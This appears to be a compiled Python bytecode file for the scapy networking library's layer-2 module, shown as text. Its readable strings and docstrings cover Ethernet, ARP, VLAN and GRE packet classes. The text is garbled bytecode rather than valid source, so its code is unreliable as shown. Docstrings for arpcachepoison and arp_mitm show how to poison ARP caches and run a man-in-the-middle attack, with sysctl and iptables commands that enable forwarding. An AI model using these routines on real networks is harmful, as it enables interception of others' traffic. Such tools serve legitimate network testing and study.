
    h7                        d Z ddlZddlZddlZddlZddlmZ ddlmZm	Z	 ddl
mZmZmZ ddlmZ ddlmZ ddlmZ dd	lmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z" dd
l#m$Z$m%Z%m&Z& ddl'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZA ddlBmCZCmDZD ddlEmFZFmGZG ddlHmIZImJZJmKZKmLZL ddlMmNZNmOZOmPZPmQZQ ddlRmSZSmTZTmUZUmVZVmWZWmXZXmYZYmZZZm[Z[m\Z\m]Z]m^Z^ ddl_m`Z`maZambZbmcZcmdZdmeZemfZfmgZgmhZhmiZi ddlBmjZj ejk        ddllZeaeGeGgeeem         f         Zn G d d          Zo eo            e_p        ejq        r                    dd          Zsejt        ju        dd            Zv G d de4          Zw G d de4          Zxi ddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d;d?d;d@ZydAe dB<   dCe dD<   dEe e"<    G dF dGeG          Zz G dH dIeG          Z{ G dJ dKeG          Z|dLeGdMeGdNeeem         fdOZ}ejp        ~                    eze|e}           ejp        ~                    e{e|e}           dPdQdRdSdTdUZ G dV dWeG          Z G dX dYe          Z G dZ d[eG          Z G d\ d]eG          Zejp        ~                    e{ee}            G d^ d_eG          Zejp        ~                    ezee}            G d` daeG          Z G db dceG          ZdLeGdMeGdNeeem         fddZejp        ~                    ezee            G de dfeG          Z G dg dheG          Z G di dje          Z G dk dle1          ZdmdndodpdqdqdqdrZ G ds dteG          Zej        reZn G du dve          Z G dw dxe          Z G dy dzeG          Zejp        ~                    ezee}            eFe{e|            eFeze|d{|            eFeze|d}|            eFezed~|            eFezedB|            eFezedD|            eFeedB|            eFeed~|            eFeedD|            eFeedB|            eFeedD|            eFeez            eFezezd|            eFezed|            eFee|d{            eFeed~            eFeedB|            eFeedD|            eFeezd            eFeed            eFeez            eFee|d{            eFeed~            eFeedB|            eFeedD|            eFeezd            eFeed            eFeeddi            eFeej        ddd            eFee            eFe|eddd             eFe|eddd             eFeed~            eFeedB|            eFeedD|            eFeezd            eFeed            eFeed           ej        u                    eez           ej                            eez           ej                            eez           ej                            ee{           ej        u                    ee           ej        u                    ee           ej        u                    ee           ej                            ee           ej        u                    ee           ej        u                    ee           ej        u                    e!e           ejt        ju        	 	 	 dd            Zejt        ju        	 	 	 	 	 	 dd            Z G d deK          Zejt        ju        	 	 	 	 ddemdededeee         dede`dNefeeIf         fd            Zejt        ju        dd            Zejt        ju        dd            Z G d deeG                   Zejt        ju        d             Zejt        ju        dd            ZdS )z.
Classes and functions for layer 2 protocols.
    N)AnsweringMachine)get_if_addrget_if_hwaddr)GenNet	_ScopedIP)chb)conf)consts)ARPHDR_ETHERARPHDR_LOOPBACKARPHDR_METRICOMDLT_ETHERNET_MPACKETDLT_LINUX_IRDADLT_LINUX_SLLDLT_LINUX_SLL2DLT_LOOPDLT_NULL	ETHER_ANYETHER_BROADCASTETHER_TYPES	ETH_P_ARPETH_P_MACSEC)ScapyNoDstMacExceptionlog_runtimewarning)BCDFloatFieldBitFieldByteEnumField	ByteFieldConditionalFieldFCSFieldFieldLenFieldIP6FieldIPFieldIntEnumFieldIntFieldLenFieldMACFieldMultipleTypeFieldOUIFieldShortEnumField
ShortFieldSourceIP6FieldSourceIPFieldStrFixedLenFieldStrLenFieldThreeBytesField
XByteField	XIntFieldXShortEnumFieldXShortField)_GlobInterfaceTyperesolve_iface)bind_layersPacket)
PacketListQueryAnswer
SndRcvList_PacketList)sendpsrpsrp1srploop)checksumhexdumphexstrin4_getnsmacin4_ismaddr	inet_aton	inet_ntoamac2strpretty_list	valid_mac	valid_net
valid_net6)
AnyCallableDictIterableListOptionalTupleTypeUnioncast)NetworkInterfacec                   &    e Zd Zd Zd Zd Zd ZdS )Neighborc                     i | _         d S N	resolversselfs    S/mounts/lovelace/software/anaconda3/lib/python3.11/site-packages/scapy/layers/l2.py__init__zNeighbor.__init__o   s        c                     || j         ||f<   d S r]   r^   )ra   l2l3resolve_methods       rb   register_l3zNeighbor.register_l3s   s    !/r2vrd   c                 b    |j         |j         f}|| j        v r | j        |         ||          S d S r]   )	__class__r_   )ra   l2instl3instks       rb   resolvezNeighbor.resolvew   s=    f..$4>!$VV444trd   c                 J    d                     d | j        D                       S )N
c              3   B   K   | ]\  }}|j         d d|j         d V  dS )15z -> N)__name__).0rf   rg   s      rb   	<genexpr>z$Neighbor.__repr__.<locals>.<genexpr>   s9      dd62rR[[[["+++Fddddddrd   )joinr_   r`   s    rb   __repr__zNeighbor.__repr__~   s'    yyddUYUcddddddrd   N)rt   
__module____qualname__rc   ri   ro   rx    rd   rb   r[   r[   n   sU          0 0 0  e e e e erd   r[   	arp_cachex   c           	         t          | t                    rt          t          |                     } t	          t          | pd                    } t          |           rt          t          |                     }|S t          j	        	                    |           \  }}}|t          j
        k    s!| t          j	                            |          v rdS |dk    r|} t                              |           }|r|S 	 t          t          t                     t#          d|           z  t$          |dd|d	          }n(# t&          $ r}t)          d
|           Y d}~dS d}~ww xY w||j        j        }|t          | <   |S dS )a  
    Returns the destination MAC address used to reach a given IP address.

    This will follow the routing table and will issue an ARP request if
    necessary. Special cases (multicast, etc.) are also handled.

    .. seealso:: :func:`~scapy.layers.inet6.getmacbyip6` for IPv6.
    0.0.0.0ff:ff:ff:ff:ff:ffdstwho-hasoppdst   r      )typeifacetimeoutverbosechainCCnofilterzgetmacbyip failed on %sN)
isinstancer   nextiterrI   rH   rG   rF   r
   routeloopback_nameget_if_bcast
_arp_cachegetrA   Etherr   ARPr   	Exceptionr   payloadhwsrc)ipr   maciff_gwresexs           rb   
getmacbyipr      s    "c $r((^^	9R_9--	.	.B 2 9R==))
 !!"%%JCB 	t!!!rTZ-D-DS-I-I'I'I"" 
Y ..

C
 

5_---yr0J0J0JJ!"      )2...ttttt k
2
4s   :A D; ;
E EE c                   .     e Zd Zd Z fdZ fdZ xZS )DestMACFieldc                 2    t          j        | |d            d S r]   )r)   rc   )ra   names     rb   rc   zDestMACField.__init__   s    $d+++++rd   c                 b    ||d }t          t          |                               ||          S r]   )superr   i2hra   pktxrk   s      rb   r   zDestMACField.i2h   s1    9A\4((,,S!444rd   c                 0   |k|i	 t           j                            ||j                  }n# t          j        $ r Y nw xY w|+t           j        rt                      d}t          d           t          t          |                               ||          S )Nr   z<MAC address to reach destination not found. Using broadcast.)r
   neighborro   r   socketerrorraise_no_dst_macr   r   r   r   i2mr   s      rb   r   zDestMACField.i2m   s    9M))#s{;;<   y( 0222+AV   \4((,,S!444s   %- ??)rt   ry   rz   rc   r   r   __classcell__rk   s   @rb   r   r      s`        , , ,5 5 5 5 55 5 5 5 5 5 5 5 5rd   r   c                   6     e Zd ZdgZddZ fdZ fdZ xZS )SourceMACFieldgetifNc                 J    t          j        | |d            |d n|| _        d S )Nc                 6    |                                  d         S Nr   )r   r   s    rb   <lambda>z)SourceMACField.__init__.<locals>.<lambda>   s    #))++a. rd   )r)   rc   r   )ra   r   r   s      rb   rc   zSourceMACField.__init__   s/    $d+++5:]000


rd   c                     |/|                      |          }|rt          |          j        }|d}t          t          |                               ||          S )N00:00:00:00:00:00)r   r8   r   r   r   r   )ra   r   r   r   rk   s       rb   r   zSourceMACField.i2h   sY    9**S//C +!#&&*y'^T**..sA666rd   c                 ~    t          t          |                               ||                     ||                    S r]   )r   r   r   r   r   s      rb   r   zSourceMACField.i2m   s1    ^T**..sDHHS!4D4DEEErd   r]   )rt   ry   rz   	__slots__rc   r   r   r   r   s   @rb   r   r      sy        	IN N N N
7 7 7 7 7F F F F F F F F Frd   r   r   zEthernet (10Mb)r   zEthernet (3Mb)   zAX.25   zProteon ProNET Token Ring   Chaos   zIEEE 802 Networks   ARCNET   Hyperchannel	   Lanstar
   zAutonet Short Address   	LocalTalk   LocalNet   z
Ultra link   SMDS   zFrame relay   ATM   HDLCzFibre ChannelzSerial Line)            802_1ADi  802_1AHi  802_1AEc                       e Zd ZdZ ed           ed           edde          gZdgZ	d Z
d Zd	 Zedd            Zd
S )r   Ethernetr   srcr   i   _defrag_posc                 j    t          j        d| j                  | j                                        z   S )NH)structpackr   r   hashretr`   s    rb   r   zEther.hashret  s)    {3	**T\-A-A-C-CCCrd   c                     t          |t                    r/| j        |j        k    r| j                            |j                  S dS r   )r   r   r   r   answersra   others     rb   r   zEther.answers   s@    eU## 	;yEJ&&|++EM:::qrd   c                 ,    |                      d          S )Nz%src% > %dst% (%type%)sprintfr`   s    rb   	mysummaryzEther.mysummary'  s    ||4555rd   Nc                     |rAt          |          dk    r.t          j        d|dd                   d         dk    rt          S | S Nr   !Hr   r     )lenr   unpackDot3cls_pktargskargss       rb   dispatch_hookzEther.dispatch_hook+  sH      	CIIOO}T42;//2d::
rd   r]   )rt   ry   rz   r   r   r   r5   r   fields_descr   r   r   r   classmethodr   r{   rd   rb   r   r     s        D<&&!>%(("?66;??AK ID D D  6 6 6    [  rd   r   c                       e Zd ZdZ ed           ed           eddd          gZd Zd Z	d	 Z
edd
            ZdS )r   z802.3r   r   r   Nr   c                 8    | j         }|d |         ||d          fS r]   )r   )ra   stmp_lens      rb   extract_paddingzDot3.extract_padding:  s$    ('{AghhK''rd   c                 n    t          |t                    r| j                            |j                  S dS r   )r   r   r   r   r   s     rb   r   zDot3.answers?  s1    eT"" 	7<''666qrd   c                 &    d| j         d| j        S )Nz802.3 z > r   r   r`   s    rb   r   zDot3.mysummaryE  s     "&(((DHH55rd   c                     |rAt          |          dk    r.t          j        d|dd                   d         dk    rt          S | S r   )r   r   r   r   r   s       rb   r   zDot3.dispatch_hookI  sH      	CIIOO}T42;//2T99
rd   r]   )rt   ry   rz   r   r   r   r(   r   r  r   r   r   r   r{   rd   rb   r   r   4  s        D<&&!>%((8E4--/K( ( (
  6 6 6    [  rd   r   c                   X    e Zd Zd Z edd           edd           edd          gZdS )LLCdsapr   ssapctrlN)rt   ry   rz   r   r3   r    r   r{   rd   rb   r  r  R  sG        D:fd++:fd++9VQ'')KKKrd   r  rf   rg   returnc                 P    t           j        }|                    | |j                  S )zV
    Delegates resolving the default L2 destination address to the payload of L3.
    )r
   r   ro   r   )rf   rg   r   s      rb   l2_register_l3r  Y  s#     }HB
+++rd   unicast	broadcast	multicastzunicast-to-another-hostz
sent-by-us)r   r   r   r   r   c            	           e Zd ZdZ edde           edd           edd           eddd	           e	d
de
          gZdS )CookedLinuxzcooked linuxpkttyper   
lladdrtype   	lladdrlenr   rd   r   proto   N)rt   ry   rz   r   r,   COOKED_LINUX_PACKET_TYPESr6   r-   r0   r5   r   r   r{   rd   rb   r  r  n  sn        D!>)Q0IJJ;|S11:k1--##E322"?7E;??	AKKKrd   r  c                       e Zd ZdZ edde           edd           edd           edd           e	d	de
           ed
d           eddd          gZdS )CookedLinuxV2zcooked linux v2r  r  reservedr   ifindexr  r  r  r  r   rd   r   N)rt   ry   rz   r   r5   r   r-   r'   r6   r   r  r    r0   r   r{   rd   rb   r  r  y  s        D"?7E;??:j!,,8Iq));|S11 =A/HII9[!,,##E3224KKKrd   r  c                   J    e Zd ZdZ eddd           eddd	          gZd
S )MPacketPreamblezMPacket Preamblepreamblerd   r   )lengthfcsr   z!I)fmtN)rt   ry   rz   r   r0   r"   r   r{   rd   rb   r#  r#    sC        D##JA>>>8E1$///1KKKrd   r#  c                   D    e Zd Zd Z edd           edde          gZdS )SNAPOUIr   codeN)rt   ry   rz   r   r+   r5   r   r   r{   rd   rb   r)  r)    s;        D8E8,,"?65+>>@KKKrd   r)  c                       e Zd ZdZegZ eddd           eddd           eddd           ed	de          gZ	d
diZ
d Zd Zd Zd ZdS )Dot1Qz802.1Qprior   r   deir   vlanr   r   id)r/  z2.5.0c                     t          |t                    r@| j        |j        k    r/| j        |j        k    r| j                            |j                  S n| j                            |          S dS r   )r   r-  r   r0  r   r   r   s     rb   r   zDot1Q.answers  sf    eU## 	/ej((Y%*,,|++EM:::<''...qrd   c                 >    | j         dk    rt          S t          j        S Nr   )r   r  r
   	raw_layer)ra   pays     rb   default_payload_classzDot1Q.default_payload_class  s    9J~rd   c                 \    | j         dk    r|d | j                  || j         d          fS |d fS r4  r   ra   r  s     rb   r  zDot1Q.extract_padding  s7    9ZdiZ=!DIJJ-//$wrd   c                     t          | j        t                    r| j                            d          S |                     d          S )NzA802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%z'802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%)r   
underlayerr   r   r`   s    rb   r   zDot1Q.mysummary  sA    dou-- 	K?**+nooo<< IJJJrd   N)rt   ry   rz   r   r   
aliastypesr   r5   r   r   deprecated_fieldsr   r7  r  r   r{   rd   rb   r-  r-    s        DJ8FAq))8E1a((8FAr**"?66;??AK
 	      K K K K Krd   r-  c                   J   e Zd ZdZ edd           edd           edd           edd           edd           ede           ed	d           ed
d           ede           edd           e	dd           e	dd           e	dd           e	dd          gZ
dS )STPzSpanning Tree Protocolr  r   versionbpdutype	bpduflagsrootidrootmacpathcostbridgeid	bridgemacportidager   maxager   	hellotimer   fwddelayr   N)rt   ry   rz   r   r-   r    r)   r   r'   r   r   r{   rd   rb   r@  r@    s        #D:gq))9Y**9Z++9[!,,:h**8Iy118J**:j!,,8K33:h** =** =2.. =a00 =R002KKKrd   r@  c                   N   e Zd Zd Z edde           edde           edddd	           ed
ddd	           edddddddddddd	           e	 e
d          d d ffg eddd                      e	 ed          d d ff ed          d d ffg eddd                      e	 ede          d  d! ffg eddd"                      e	 ed#d$          d% d& ff ed#d'          d( d) ffg ed#dd*                     g	Zd+ Zd, Zd- Zd. Zd/ ZdS )0r   hwtyper   ptyper  hwlenNBr   )r'  	length_ofplenpsrcr   r   r   r   r   r   r   r   r   )	r   is-atzRARP-reqzRARP-repzDyn-RARP-reqzDyn-RAR-repzDyn-RARP-errz	InARP-reqz	InARP-repc                 .    | j         dk    o
| j        dk    S Nr   r   rO  rQ  r   s    rb   r   zARP.<lambda>      cjAo@#)q. rd   c                     | j         dk    o9| j        dk    p.| j        d u o%|d u p!t          |          dk    pt          |          S rX  rO  rQ  r   rL   r   vals     rb   r   zARP.<lambda>  V    3:? $i1n ;d): *:*-+ +9SQ +9*3C.. rd   c                     | j         S r]   rQ  r   s    rb   r   zARP.<lambda>      CI rd   length_fromc                 .    | j         dk    o
| j        dk    S Nr  r   rP  rT  r   s    rb   r   zARP.<lambda>      ci61Cch!m rd   c                 f    | j         dk    o&| j        dk    p| j        d u o|d u pt          |          S rf  rP  rT  rM   r]  s     rb   r   zARP.<lambda>  E    39#6 $h!m ID(8 )H),)F	# rd   c                 .    | j         dk    o
| j        dk    S Ni݆  r   rg  r   s    rb   r   zARP.<lambda>      ci61Dch"n rd   c                 f    | j         dk    o&| j        dk    p| j        d u o|d u pt          |          S rm  rP  rT  rN   r]  s     rb   r   zARP.<lambda>  E    39#6 $h"n KT)9 *J*-+*HC rd   c                     | j         S r]   rT  r   s    rb   r   zARP.<lambda>       38 rd   hwdstc                 .    | j         dk    o
| j        dk    S rX  rY  r   s    rb   r   zARP.<lambda>  rZ  rd   c                     | j         dk    o9| j        dk    p.| j        d u o%|d u p!t          |          dk    pt          |          S rX  r\  r]  s     rb   r   zARP.<lambda>  r_  rd   c                     | j         S r]   ra  r   s    rb   r   zARP.<lambda>  rb  rd   r   r   c                 .    | j         dk    o
| j        dk    S rf  rg  r   s    rb   r   zARP.<lambda>  rh  rd   c                 f    | j         dk    o&| j        dk    p| j        d u o|d u pt          |          S rf  rj  r]  s     rb   r   zARP.<lambda>  rk  rd   z::c                 .    | j         dk    o
| j        dk    S rm  rg  r   s    rb   r   zARP.<lambda>  rn  rd   c                 f    | j         dk    o&| j        dk    p| j        d u o|d u pt          |          S rm  rp  r]  s     rb   r   zARP.<lambda>  rq  rd   c                     | j         S r]   rs  r   s    rb   r   zARP.<lambda>  rt  rd   c                     t          j        d| j        | j        | j        dz   dz            | j                                        z   S )Nz>HHHr   r   )r   r   rO  rP  r   r   r   r`   s    rb   r   zARP.hashret!  sF    {64;
!Wq[Q.1 137<3G3G3I3IJ 	Jrd   c                 r   t          |t                    sdS | j        |j        dz   k    rdS |                     d                              | | j                  }|                    d                              ||j                  }|d t          |                   |d t          |                   k    S )NFr   rU  r   )r   r   r   	get_fieldr   rU  r   r   )ra   r   	self_psrc
other_pdsts       rb   r   zARP.answers&  s    %%% 	57ehl""5 NN6**..tTY??	__V,,00
CC
)#j//)*j#i...IIIrd   c                 6   t          t          t          t          f         |                     d                    \  }}|                    | |          \  }}d }t          |t          t          f          r|j	        }t          |t                    rt          t          |                    }t          |t                    r!t          j                            ||          S t          |t"                    r!t          j                            ||          S dS )Nr   )devNNN)rX   rU   r*   strgetfield_and_val_find_fld_pkt_valr   r   r   scoper   r   r   r$   r
   route6r   r%   )ra   fldr   	fld_innerr  s        rb   r   z	ARP.route3  s    /45--f557 7S..tS99	3cC+,, 	IEc3 	"tCyy//Ci** 	$;$$Se$444	7++ 	$:##CU#333##rd   c                 
    d|fS )Nrd   r{   r:  s     rb   r  zARP.extract_paddingD  s    Avrd   c                     | j         dk    r|                     d          S | j         dk    r|                     d          S |                     d          S )Nr   zARP who has %pdst% says %psrc%r   zARP is at %hwsrc% says %psrc%zARP %op% %psrc% > %pdst%)r   r   r`   s    rb   r   zARP.mysummaryH  sQ    7a<<<< @AAA7a<<<< ?@@@||6777rd   )rt   ry   rz   r   r5   HARDWARE_TYPESr   r#   r,   r*   r   r0   r/   r.   r)   r   r%   r$   r   r   r   r   r  r   r{   rd   rb   r   r     s       D&.9955gt@@@fdv>>>tQ
!
 
!
 
	 
	 	((@@  Wd8M8MNNN	
 	
 	v&&CC   ''DD  VT7K7KLLL	
 	
" 	'9--@@  Wd8M8MNNN	
 	
 	++CC  &$''DD  VT7K7KLLL	
 	
sJKXJ J J
J J J$ $ $"  8 8 8 8 8rd   r   c                 N   |j         dk    rdS |j         dk    rt          j        d           |                    d                              ||j                  }|dk    rt          |j                  S |dk    rdd	lm}  ||j                  S t          j        d
           dS )zG
    Resolves the default L2 destination address when ARP is used.
    r   r   r   zWYou should be providing the Ethernet destination MAC address when sending an is-at ARP.r   r       r   )getmacbyip6z[You should be providing the Ethernet destination mac when sending this kind of ARP packets.N)	r   r   r   r  i2lenr   r   scapy.layers.inet6r  )rf   rg   rT  r  s       rb   l2_register_l3_arpr  Q  s     
uzz""	!$	
 	
 	

 <<%%b"'22Dqyy"'"""	222222{27###	   4rd   c                   x    e Zd ZdZ edd           edd           edddd           edd	d
           gZdS )
GREroutingzGRE routing informationaddress_familyr   
SRE_offsetSRE_lenNrouting_inforR  rd   c                     | j         S r]   )r  r   s    rb   r   zGRErouting.<lambda>t  s    s{ rd   rc  )	rt   ry   rz   r   r-   r    r#   r1   r   r{   rd   rb   r  r  n  sm        $D:.229\1-- =D.#FF;~s+B+BD D DKKKrd   r  c                      e Zd Zd ZddiZ eddd           eddd           eddd           eddd           ed	dd           ed
dd           eddd           eddd           edde           e e	dd          d            e e	dd          d            e e
dd          d            e e
dd          d           gZedd            Zd ZdS )GREseqence_numbersequence_numberz2.4.4chksum_presentr   r   routing_presentkey_presentseqnum_presentstrict_route_sourcerecursion_controlr   flagsr   rA  r  chksumNc                 .    | j         dk    p
| j        dk    S Nr   r  r  r   s    rb   r   zGRE.<lambda>      CL^bcLcLgjgz~g rd   offsetc                 .    | j         dk    p
| j        dk    S r  r  r   s    rb   r   zGRE.<lambda>  r  rd   keyc                     | j         dk    S r  )r  r   s    rb   r   zGRE.<lambda>  s    sZ[G[ rd   r  c                     | j         dk    S r  r  r   s    rb   r   zGRE.<lambda>  s    SVSeijSj rd   c                 f    |r.t          j        d|dd                   d         dk    rt          S | S )Nr   r   r   r     )r   r   GRE_PPTPr   s       rb   r   zGRE.dispatch_hook  s9      	FM$QqS	2215??O
rd   c                     ||z  }| j         rT| j        Mt          |          }|d d         t          |dz	  dz            z   t          |dz            z   |dd          z   }|S Nr   r      r   )r  r  rC   r	   )ra   pr6  cs       rb   
post_buildzGRE.post_build  sl    	S 	E4;#6A"1"Q!VtO,,,s1t8}}<quDArd   r]   )rt   ry   rz   r   r>  r   r5   r   r!   r6   r4   r   r   r   r  r{   rd   rb   r  r  x  s       D6 8,a338-q!448M1a008,a33811a888/A668GQ**8Iq!,,"?7FK@@##KK$$?$?AA  A  A##KK$$?$?AA  A  A##IIeT$:$:<[<[\\##II.?$F$FHjHjkkK    [    rd   r  c                      e Zd ZdZdZddiZ eddd           eddd           ed	dd           ed
dd           eddd           eddd           eddd           eddd           eddd           edde           e	dd           e	dd           e
 edd          d            e
 edd          d           gZd ZdS )r  z9
    Enhanced GRE header used with PPTP
    RFC 2637
    zGRE PPTPr  r  r  r   r   r  r  r  r  r  r   acknum_presentr  r   rA  r  r  payload_lenNcall_idr  c                     | j         dk    S r  r  r   s    rb   r   zGRE_PPTP.<lambda>  s    TWTfjkTk rd   
ack_numberc                     | j         dk    S r  )r  r   s    rb   r   zGRE_PPTP.<lambda>  s    sOaefOf rd   c                     ||z  }| j         Mt          |          }|d d         t          |dz	  dz            z   t          |dz            z   |dd          z   }|S r  )r  r   r	   )ra   r  r6  pay_lens       rb   r  zGRE_PPTP.post_build  se    	S##hhG"1"W\T1222S45H5HH1QRR5PArd   )rt   ry   rz   __doc__r   r>  r   r5   r   r-   r!   r4   r   r  r{   rd   rb   r  r    s[        
 D6 8,a338-q!448M1a008,a33811a888/A668,a338GQ**8Iq!,,"?7FK@@:mT22:i..##II.?$F$FHkHkll##IIlD$A$ACfCfggiK    rd   r  c                       e Zd Zd Zd ZdS )LoIntEnumFieldc                     |dz	  S N   r{   ra   r   r   s      rb   m2izLoIntEnumField.m2i  s    Bwrd   c                 2    t          t          |          dz  S r  )rX   intr  s      rb   r   zLoIntEnumField.i2m  s    C||r!!rd   N)rt   ry   rz   r  r   r{   rd   rb   r  r    s2          " " " " "rd   r  IPv4OSI	AppletalkzNetware IPX/SPXIPv6)r   r   r      r        c                   f    e Zd ZdZdgZd Zej        r edde	          gZ
dS  edde	          gZ
dS )Loopbackz
    \*BSD loopback layer
    r   r   r   N)rt   ry   rz   r  r   r   r   OPENBSDr&   LOOPBACK_TYPESr   r  r{   rd   rb   r  r    sa          ID~ D#|FC@@A%~fc>BBCrd   r  c                   .    e Zd ZdZ edde          gZdS )LoopbackOpenBSDzOpenBSD Loopbackr   r   N)rt   ry   rz   r   r&   r  r   r{   rd   rb   r  r    s)        !#|FC@@Ard   r  c                       e Zd ZdZdS )Dot1ADr   N)rt   ry   rz   r   r{   rd   rb   r  r    s        DDDrd   r  c            	           e Zd ZdZ eddd           eddd           eddd           eddd           ed	dd
           edd          gZd Zd ZdS )Dot1AHr   r.  r   r   r/  r   ncares1res2r   isidc                     t          |t                    r/| j        |j        k    r| j                            |j                  S dS r   )r   r  r  r   r   r   s     rb   r   zDot1AH.answers  s@    eV$$ 	;yEJ&&|++EM:::qrd   c                 ,    |                      d          S )Nz802.1ah (isid=%Dot1AH.isid%r   r`   s    rb   r   zDot1AH.mysummary   s    ||9:::rd   N)	rt   ry   rz   r   r   r2   r   r   r   r{   rd   rb   r  r    s        D8FAq))8E1a((8E1a((8FAq))8FAq))"?61--/K  ; ; ; ; ;rd   r  z   r9  ip  i   i  )r  iXe  r  )r  r  B   )r  r  r     )r+  i  Fc                   	 t          | t                    rt          |           	| }n
| 	| d         }t          |t                    r6|t          t          j                            |          d                   fg}nt          |t                    r|g}n|}	fd|D             }|t          |f|||d| dS 	 	 t          |fd|i| t          j	        |           $# t          $ r Y dS w xY w)a&  Poison targets' ARP cache

    :param target: Can be an IP, subnet (string) or a list of IPs. This lists the IPs
                   or the subnet that will be poisoned.
    :param addresses: Can be either a string, a tuple of a list of tuples.
                      If it's a string, it's the IP to advertise to the victim,
                      with the local interface's MAC. If it's a tuple,
                      it's ("IP", "MAC"). It it's a list, it's [("IP", "MAC")].
                      "IP" can be a subnet of course.
    :param broadcast: Use broadcast ethernet

    Examples for target "192.168.0.2"::

        >>> arpcachepoison("192.168.0.2", "192.168.0.1")
        >>> arpcachepoison("192.168.0.1/24", "192.168.0.1")
        >>> arpcachepoison(["192.168.0.2", "192.168.0.3"], "192.168.0.1")
        >>> arpcachepoison("192.168.0.2", ("192.168.0.1", get_if_hwaddr("virbr0")))
        >>> arpcachepoison("192.168.0.2", [("192.168.0.1", get_if_hwaddr("virbr0"),
        ...                                ("192.168.0.2", "aa:aa:aa:aa:aa:aa")])

    r   c           
      j    g | ]/\  }}t          |rd nd          t          d||d          z  0S )r   Nr  r   r   r   rU  r   r   ru  r   r   )ru   r   yr  targetss      rb   
<listcomp>z"arpcachepoison.<locals>.<listcomp>k  sj        Aq 	!	C,,tDDDyqw.	0 	0 	0	0  rd   N)
iface_hintcountinterTr  )r   r  r   r   r
   r   tupler?   timesleepKeyboardInterrupt)
target	addressesr  r  intervalkwargs
str_targetcouple_listr  r  s
     `      @rb   arpcachepoisonr  @  sO   > &# f++

AY
)S!!  !=1A1A*1M1Ma1P#Q#QRS	Iu	%	%   k      	  A aNJe8NNvNNN	!!55
5f555Jx   	!    s   ?%C$ $
C21C2c           	        	
 s%t           j                            |           d         st                    fd} || |          		st          d|             |||          

st          d|           t	          d d dd 	D             d 
D             fz             t          t          t          j        
fd		D             	fd

D                                 d|ddd           t	          d           t          t          t          j        
fd	D             	fd
D                                            dS )a  ARP MitM: poison 2 target's ARP cache

    :param ip1: IPv4 of the first machine
    :param ip2: IPv4 of the second machine
    :param mac1: MAC of the first machine (optional: will ARP otherwise)
    :param mac2: MAC of the second machine (optional: will ARP otherwise)
    :param broadcast: if True, will use broadcast mac for MitM by default
    :param target_mac: MAC of the attacker (optional: default to the interface's one)
    :param iface: the network interface. (optional: default, route for ip1)

    Example usage::

        $ sysctl net.ipv4.conf.virbr0.send_redirects=0  # virbr0 = interface
        $ sysctl net.ipv4.ip_forward=1
        $ sudo iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1
        $ sudo scapy
        >>> arp_mitm("192.168.122.156", "192.168.122.17")

    Alternative usages:
        >>> arp_mitm("10.0.0.1", "10.1.1.0/21", iface="eth1")
        >>> arp_mitm("10.0.0.1", "10.1.1.2",
        ...          target_mac="aa:aa:aa:aa:aa:aa",
        ...          mac2="00:1e:eb:bf:c1:ab")

    .. warning::
        If using a subnet, this will first perform an arping, unless broadcast is on!

    Remember to change the sysctl settings back..
    r   c                      |)r dfgS d t           d          d         D             S t          |t                    r fd|D             S  |fgS )Nr   c                 >    g | ]}|j         j        |j        j        fS r{   )queryr   answerr   ru   r   s     rb   r  z+arp_mitm.<locals>._tups.<locals>.<listcomp>  s;     D D D W\18>2 D D Drd   r   )r   r   c                     g | ]}|fS r{   r{   )ru   r   r   s     rb   r  z+arp_mitm.<locals>._tups.<locals>.<listcomp>  s    )))RG)))rd   )arpingr   list)r   r   r  r   s   ` rb   _tupszarp_mitm.<locals>._tups  s    ; 30122D D#B???BD D D DT"" 	))))S))))I;rd   zCould not resolve zMITM on z
: %s <--> z <--> %sc                     g | ]
}|d          S r   r{   r  s     rb   r  zarp_mitm.<locals>.<listcomp>      !1rd   c                     g | ]
}|d          S r
  r{   r  s     rb   r  zarp_mitm.<locals>.<listcomp>  r  rd   c           
   3      K   | ]@\  }}D ]8\  }}||k    t          |           t          d||d          z  D ]}|V  9AdS r   r   r   r   r  Nr  )ru   ipamacaipbr   r   
target_mactup2s         rb   rv   zarp_mitm.<locals>.<genexpr>          d as

t,,,ICc!)<> > >> 
	  




 rd   c           
   3      K   | ]@\  }}D ]8\  }}||k    t          |           t          d||d          z  D ]}|V  9AdS r  r  )ru   r  macbr  r   r   r  tup1s         rb   rv   zarp_mitm.<locals>.<genexpr>  r  rd   arp and arp[7] = 2g      ?r   )filterr  r   r   r   storezRestoring...c           
   3      K   | ]@\  }}D ]8\  }}||k    t          d |          t          d|||d          z  D ]}|V  9AdS r   r  r   r   r  Nr  )ru   r  r  r  r  r   r  s         rb   rv   zarp_mitm.<locals>.<genexpr>          d" ds

*555ICc#68 8 88 
	  




 rd   c           
   3      K   | ]@\  }}D ]8\  }}||k    t          d |          t          d|||d          z  D ]}|V  9AdS r  r  )ru   r  r  r  r  r   r  s         rb   rv   zarp_mitm.<locals>.<genexpr>  r  rd   )r   N)
r
   r   r   OSErrorprintrB   r  	itertoolschainr?   )ip1ip2mac1mac2r  r  r   r  r  r  r  s       ```  @@rb   arp_mitmr(  |  sP   R  )
  %%a( *"5))
      5dD 203001115dD 20300111	
:U
:
:j
:
:
:tt>    
 Y_    "      "  
 
 	 	( $5   8 
.	Y_   "     "  
 
 	 	( +     rd   c                   "    e Zd Z	 	 	 ddZd ZdS )ARPingResultNARPingc                 4    t          j        | |||           d S r]   )r=   rc   )ra   r   r   statss       rb   rc   zARPingResult.__init__  s!    
 	D#tU33333rd   c                 R   t                      }| j        D ]p\  }}t          j                            |j                  }||j        k    rdn|}|                    |t                   j        ||t                   j	        f           qt          t          |dgd                     dS )z=
        Print the list of discovered MAC addresses.
        unknown)r   manufrU  r   )sortByN)r  r   r
   manufdb_get_short_manufr   appendr   r   rU  r!  rK   )ra   r   r  datar  rr0  s          rb   showzARPingResult.show   s    
 vvH 	< 	<DAqL11!%88E!&!%IIUEKK5uafk:;;;;)*  	
 	
 	
 	
 	
rd   )Nr+  N)rt   ry   rz   rc   r7  r{   rd   rb   r*  r*    s@        4 4 4 4
 
 
 
 
